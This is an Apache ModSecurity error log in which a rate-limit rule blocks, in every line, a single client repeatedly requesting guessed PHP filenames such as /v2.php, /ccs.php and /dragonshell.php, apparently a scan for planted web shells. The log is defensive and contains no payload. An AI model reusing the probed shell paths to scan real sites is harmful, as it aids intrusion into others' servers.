[Tue Mar 31 00:23:06.626222 2026] [:error] [pid 60746:tid 60791] [client 4.205.211.88:39745] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acqjap4kQrgjDdAbQCpHJgAAAI8"]
[Tue Mar 31 00:23:07.036755 2026] [:error] [pid 60746:tid 60777] [client 4.205.211.88:39833] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "acqja54kQrgjDdAbQCpHJwAAAIE"]
[Tue Mar 31 00:23:07.459178 2026] [:error] [pid 60746:tid 60787] [client 4.205.211.88:39805] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "acqja54kQrgjDdAbQCpHKAAAAIs"]
[Tue Mar 31 00:23:07.876883 2026] [:error] [pid 63557:tid 63583] [client 4.205.211.88:39513] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "acqja64QNVlzYgEvIjnkxQAAARg"]
[Tue Mar 31 00:23:08.289129 2026] [:error] [pid 60746:tid 60792] [client 4.205.211.88:39849] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xper1.php"] [unique_id "acqjbJ4kQrgjDdAbQCpHKgAAAJA"]
[Tue Mar 31 00:23:08.715876 2026] [:error] [pid 31735:tid 31739] [client 4.205.211.88:39497] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "acqjbD-CFgIllBeFWWFOvQAAAkI"]
[Tue Mar 31 00:23:09.158186 2026] [:error] [pid 31577:tid 31600] [client 4.205.211.88:39878] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "acqjbXOcPMUnrUQjB4JdDgAAAZU"]
[Tue Mar 31 00:23:09.574385 2026] [:error] [pid 60745:tid 60757] [client 4.205.211.88:39861] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "acqjbSQDBn75QnHaPb9m9QAAAEg"]
[Tue Mar 31 00:23:10.004086 2026] [:error] [pid 60745:tid 60773] [client 4.205.211.88:39490] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gelio1.php"] [unique_id "acqjbiQDBn75QnHaPb9m9wAAAFg"]
[Tue Mar 31 00:23:10.422345 2026] [:error] [pid 31577:tid 31590] [client 4.205.211.88:39753] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "acqjbnOcPMUnrUQjB4JdEgAAAYs"]
[Tue Mar 31 00:23:10.845140 2026] [:error] [pid 60835:tid 60838] [client 4.205.211.88:39627] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "acqjbgIOJ4Lc0iJVRzwYhAAAAAE"]
[Tue Mar 31 00:23:11.266757 2026] [:error] [pid 63557:tid 63565] [client 4.205.211.88:39494] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "acqjb64QNVlzYgEvIjnkyAAAAQY"]
[Tue Mar 31 00:23:11.699083 2026] [:error] [pid 60835:tid 60839] [client 4.205.211.88:39797] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "acqjbwIOJ4Lc0iJVRzwYhgAAAAI"]
[Tue Mar 31 00:23:12.122286 2026] [:error] [pid 31544:tid 31557] [client 4.205.211.88:39803] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acqjcNtfPe4lu-8385d7iQAAAUs"]
[Tue Mar 31 00:23:12.552494 2026] [:error] [pid 31577:tid 31603] [client 4.205.211.88:39706] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acqjcHOcPMUnrUQjB4JdEwAAAZg"]
[Tue Mar 31 00:23:12.969948 2026] [:error] [pid 31735:tid 31743] [client 4.205.211.88:39751] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acqjcD-CFgIllBeFWWFOxgAAAkY"]
[Tue Mar 31 00:23:13.395178 2026] [:error] [pid 60835:tid 60843] [client 4.205.211.88:39898] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acqjcQIOJ4Lc0iJVRzwYiAAAAAY"]
[Tue Mar 31 00:23:13.818995 2026] [:error] [pid 63557:tid 63571] [client 4.205.211.88:39729] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "acqjca4QNVlzYgEvIjnkyQAAAQw"]
[Tue Mar 31 00:23:14.238898 2026] [:error] [pid 60746:tid 60776] [client 4.205.211.88:39514] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "acqjcp4kQrgjDdAbQCpHMgAAAIA"]
[Tue Mar 31 00:23:14.655098 2026] [:error] [pid 60835:tid 60861] [client 4.205.211.88:39499] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "acqjcgIOJ4Lc0iJVRzwYjgAAABg"]
[Tue Mar 31 00:23:15.073517 2026] [:error] [pid 31705:tid 31728] [client 4.205.211.88:39693] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "acqjc7h0Asyt0lXzJSw7jQAAAhU"]
[Tue Mar 31 00:23:15.492531 2026] [:error] [pid 31544:tid 31560] [client 4.205.211.88:39831] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acqjc9tfPe4lu-8385d7iwAAAU4"]
[Tue Mar 31 00:23:15.908969 2026] [:error] [pid 60745:tid 60764] [client 4.205.211.88:39621] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acqjcyQDBn75QnHaPb9m_wAAAE8"]
[Tue Mar 31 00:23:16.343479 2026] [:error] [pid 60835:tid 60844] [client 4.205.211.88:39924] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acqjdAIOJ4Lc0iJVRzwYlAAAAAc"]
[Tue Mar 31 00:23:16.763980 2026] [:error] [pid 31577:tid 31589] [client 4.205.211.88:39695] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "acqjdHOcPMUnrUQjB4JdFgAAAYo"]
[Tue Mar 31 00:23:17.213348 2026] [:error] [pid 31577:tid 31600] [client 4.205.211.88:39741] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acqjdXOcPMUnrUQjB4JdGAAAAZU"]
[Tue Mar 31 00:23:17.635967 2026] [:error] [pid 60746:tid 60783] [client 4.205.211.88:39496] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acqjdZ4kQrgjDdAbQCpHNAAAAIc"]
[Tue Mar 31 00:23:18.053553 2026] [:error] [pid 60747:tid 60813] [client 4.205.211.88:39493] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acqjdgU3IY-cCpy_-zFecgAAAMo"]
[Tue Mar 31 00:23:18.486655 2026] [:error] [pid 63557:tid 63582] [client 4.205.211.88:39811] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acqjdq4QNVlzYgEvIjnkzwAAARc"]
[Tue Mar 31 00:23:18.902343 2026] [:error] [pid 31705:tid 31710] [client 4.205.211.88:39489] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "acqjdrh0Asyt0lXzJSw7kgAAAgM"]
[Tue Mar 31 00:23:19.319546 2026] [:error] [pid 31735:tid 31756] [client 4.205.211.88:39770] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "acqjdz-CFgIllBeFWWFO0QAAAlM"]
[Tue Mar 31 00:23:19.729502 2026] [:error] [pid 31577:tid 31598] [client 4.205.211.88:39684] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "acqjd3OcPMUnrUQjB4JdGgAAAZM"]
[Tue Mar 31 00:23:20.154331 2026] [:error] [pid 60745:tid 60767] [client 4.205.211.88:39758] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "acqjeCQDBn75QnHaPb9nCAAAAFI"]
[Tue Mar 31 00:23:20.567485 2026] [:error] [pid 31577:tid 31596] [client 4.205.211.88:39730] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acqjeHOcPMUnrUQjB4JdGwAAAZE"]
[Tue Mar 31 00:23:20.985919 2026] [:error] [pid 60745:tid 60768] [client 4.205.211.88:39705] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acqjeCQDBn75QnHaPb9nCQAAAFM"]
[Tue Mar 31 00:23:21.400167 2026] [:error] [pid 31705:tid 31718] [client 4.205.211.88:39799] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acqjebh0Asyt0lXzJSw7lQAAAgs"]
[Tue Mar 31 00:23:21.812897 2026] [:error] [pid 31544:tid 31561] [client 4.205.211.88:39707] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "acqjedtfPe4lu-8385d7jgAAAU8"]
[Tue Mar 31 00:23:22.268102 2026] [:error] [pid 60835:tid 60855] [client 4.205.211.88:39742] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "acqjegIOJ4Lc0iJVRzwYmAAAABI"]
[Tue Mar 31 00:23:22.684245 2026] [:error] [pid 60745:tid 60772] [client 4.205.211.88:39690] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "acqjeiQDBn75QnHaPb9nDAAAAFc"]
[Tue Mar 31 00:23:23.119742 2026] [:error] [pid 31673:tid 31695] [client 4.205.211.88:39700] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "acqjexV3ylEnW1IQOCnytAAAAdQ"]
[Tue Mar 31 00:23:23.537983 2026] [:error] [pid 31705:tid 31709] [client 4.205.211.88:39724] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "acqje7h0Asyt0lXzJSw7lwAAAgI"]
[Tue Mar 31 00:23:23.966945 2026] [:error] [pid 31577:tid 31579] [client 4.205.211.88:39731] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "acqje3OcPMUnrUQjB4JdHwAAAYA"]
[Tue Mar 31 00:23:24.387032 2026] [:error] [pid 31673:tid 31682] [client 4.205.211.88:39534] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "acqjfBV3ylEnW1IQOCnytQAAAcc"]
[Tue Mar 31 00:23:24.802372 2026] [:error] [pid 60745:tid 60764] [client 4.205.211.88:39505] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "acqjfCQDBn75QnHaPb9nDgAAAE8"]
[Tue Mar 31 00:23:25.221282 2026] [:error] [pid 60747:tid 60804] [client 4.205.211.88:39508] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccu.php"] [unique_id "acqjfQU3IY-cCpy_-zFeeAAAAME"]
[Tue Mar 31 00:23:25.649378 2026] [:error] [pid 60835:tid 60851] [client 4.205.211.88:39730] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acqjfQIOJ4Lc0iJVRzwYmwAAAA4"]
[Tue Mar 31 00:23:26.082358 2026] [:error] [pid 31577:tid 31588] [client 4.205.211.88:39543] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acqjfnOcPMUnrUQjB4JdIgAAAYk"]
[Tue Mar 31 00:23:26.511567 2026] [:error] [pid 63557:tid 63580] [client 4.205.211.88:39538] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acqjfq4QNVlzYgEvIjnk1QAAARU"]
[Tue Mar 31 00:23:26.995316 2026] [:error] [pid 31735:tid 31749] [client 4.205.211.88:39691] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acqjfj-CFgIllBeFWWFO2QAAAkw"]
[Tue Mar 31 00:23:27.446334 2026] [:error] [pid 31544:tid 31564] [client 4.205.211.88:39533] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acqjf9tfPe4lu-8385d7kwAAAVI"]
[Tue Mar 31 00:23:27.905514 2026] [:error] [pid 60746:tid 60777] [client 4.205.211.88:39502] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acqjf54kQrgjDdAbQCpHOQAAAIE"]
[Tue Mar 31 00:23:28.330432 2026] [:error] [pid 60747:tid 60812] [client 4.205.211.88:39689] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acqjgAU3IY-cCpy_-zFeegAAAMk"]
[Tue Mar 31 00:23:28.756978 2026] [:error] [pid 60747:tid 60821] [client 4.205.211.88:39698] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/north1.php"] [unique_id "acqjgAU3IY-cCpy_-zFefAAAANI"]
[Tue Mar 31 00:23:29.224994 2026] [:error] [pid 60835:tid 60837] [client 4.205.211.88:39905] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "acqjgQIOJ4Lc0iJVRzwYpAAAAAA"]
[Tue Mar 31 00:23:29.670994 2026] [:error] [pid 60747:tid 60809] [client 4.205.211.88:39712] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "acqjgQU3IY-cCpy_-zFefQAAAMY"]
[Tue Mar 31 00:23:30.106316 2026] [:error] [pid 31705:tid 31730] [client 4.205.211.88:39703] [client 4.205.211.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dragonshell.php"] [unique_id "acqjgrh0Asyt0lXzJSw7mAAAAhc"]
